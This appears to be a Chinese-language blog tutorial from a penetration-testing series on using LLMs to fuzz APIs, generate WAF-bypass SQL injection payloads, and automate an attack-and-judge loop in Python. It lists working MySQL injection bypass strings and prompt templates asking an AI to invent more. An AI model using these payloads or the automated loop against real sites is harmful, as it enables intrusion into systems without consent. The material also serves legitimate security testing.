用 AI 辅助 Fuzz 与 Payload 生成

一句话：AI 最擅长的不是发明新漏洞，而是把已知漏洞的 Payload 变形出 200 种 WAF 不认识的写法。

一、Fuzz 的本质与 AI 的切入点

Fuzz 的核心是两件事：种子质量和变异策略。

传统 Fuzzer（AFL、radamsa、wfuzz）靠暴力变异，问题在于：变异出的绝大部分是无意义数据，浪费请求配额。

AI 的切入点很明确：

二、从参数名推测攻击面

这是最被低估的一招。把接口参数列表丢给 AI：

# 输入
POST /api/v1/order/query
参数：orderId, userId, startTime, endTime, page, size, sortField, sortOrder

# 任务
对每个参数，推测最可能的漏洞类型，并给出一条最小化测试 Payload。
按"可能性从高到低"排序。

AI 的输出（实际效果）：

sortField 这一类是 AI 的价值所在——它知道 ORDER BY 后面的字段名无法参数化，这是很多扫描器会漏的点。

三、语义级 Fuzz：让 AI 生成变异体

不是随机改字节，而是按语言的语法结构变异：

# 任务
目标：JSON 解析器接口，参数 name 是字符串。
生成 50 个测试用例，覆盖：
1. JSON 结构畸形（未闭合、嵌套超深、重复 key）
2. 类型混淆（字符串位置传数组/对象/null）
3. 编码绕过（Unicode 转义、UTF-7、代理对）
4. 特殊字符（反斜杠、控制字符、超长字符串）
每个用例说明它想测试什么解析器缺陷。

# 输出格式
[{"payload": "", "purpose": "", "expected_behavior": ""}]

AI 生成的用例有目的性，比随机变异有效得多。

四、WAF 绕过 Payload 生成

这是 AI 最实用的场景之一。

# 背景
目标 WAF 规则：
- 拦截关键字：union、select、sleep、<script、alert
- 拦截单个空格（推测用正则 \s）
- 不拦截注释符

# 任务
给出 10 条能绕过上述规则的 SQL 注入 Payload（MySQL 环境），
每条说明绕过原理。要求保留原攻击语义。

典型输出：

-- 内联注释拆关键字
1/**/UNI/**/ON/**/SEL/**/ECT/**/1,2,3

-- 大小写 + 内联注释
1 uNiOn/**/SeLeCt 1,2,3

-- 等价函数替代
1 AND (SELECT 1 FROM (SELECT SLEEP(3))a)   -- 被拦
1 AND BENCHMARK(5000000,MD5(1))            -- 替代

-- 注释伪装 + 换行绕过空格过滤
1%0aUNION%0aSELECT%0a1,2,3

-- 等价字符
1 UNION SELECT 1,2,version()  →  1 UNION SELECT 1,2,@@version

AI 的价值在于它会穷举各种等价变形，而人往往只会想两三种。

五、把 Fuzz 闭环起来

单次生成 Payload 不够，要做成自动迭代：

import requests
from openai import OpenAI

client = OpenAI()

def fuzz_loop(target_url, param, max_rounds=10):
    # 初始 Payload 由 AI 生成
    payloads = ai_generate_payloads(param, count=20)
    history = []

    for rnd in range(max_rounds):
        for p in payloads:
            try:
                resp = requests.get(target_url, params={param: p}, timeout=8)
                # 让 AI 判断响应是否异常
                verdict = ai_judge_response(
                    payload=p,
                    status=resp.status_code,
                    body=resp.text[:2000],
                    baseline=BASELINE
                )
                history.append({"payload": p, "verdict": verdict})
                if verdict["is_vuln"]:
                    return p, verdict
            except Exception as e:
                history.append({"payload": p, "error": str(e)})

        # AI 根据历史结果生成下一轮定向 Payload
        payloads = ai_evolve_payloads(history, param, count=20)

    return None, None

其中 ai_judge_response 是关键——让 AI 对比基线与响应差异：

# 任务
判断以下响应是否表明 SQL 注入成功。

基线响应（参数正常值）：
  状态码 200，响应长度 1420，无报错
测试响应（注入 Payload）：
  状态码 500，响应长度 87，包含 "You have an error in your SQL syntax"

# 输出
{"is_vuln": true, "type": "error-based", "reason": "..."}

AI 判断错误回显比正则匹配强得多，因为它能理解语义（"这个报错是框架的通用 500 页，不是 SQL 错误"）。

六、注意事项与踩坑

1. 速率控制：Fuzz 循环务必加 time.sleep() 和并发限制，别把目标打挂。

2. 别让 AI 凭空造 Payload：所有 AI 生成的 Payload 先本地在靶场（DVWA/sqlilabs）验证语法正确性，再打真实目标。

3. 响应判断要防误判：AI 有时会把"正常的 500 错误页"判成漏洞。必须保留原始响应供人工复核。

4. 记录完整：每次请求的 payload、响应、AI 判断都要落库，方便回溯。

七、小结

AI 在 Fuzz 环节的定位是**"智能变异器 + 智能判别器"**：前者解决"种子不够刁钻"，后者解决"结果 review 太累"。

真正的效率提升来自闭环：生成 → 发送 → 判别 → 基于反馈再生成。

下一篇：LLM 辅助代码审计的实战方法。

系列文章：AI 渗透测试与漏洞挖掘实战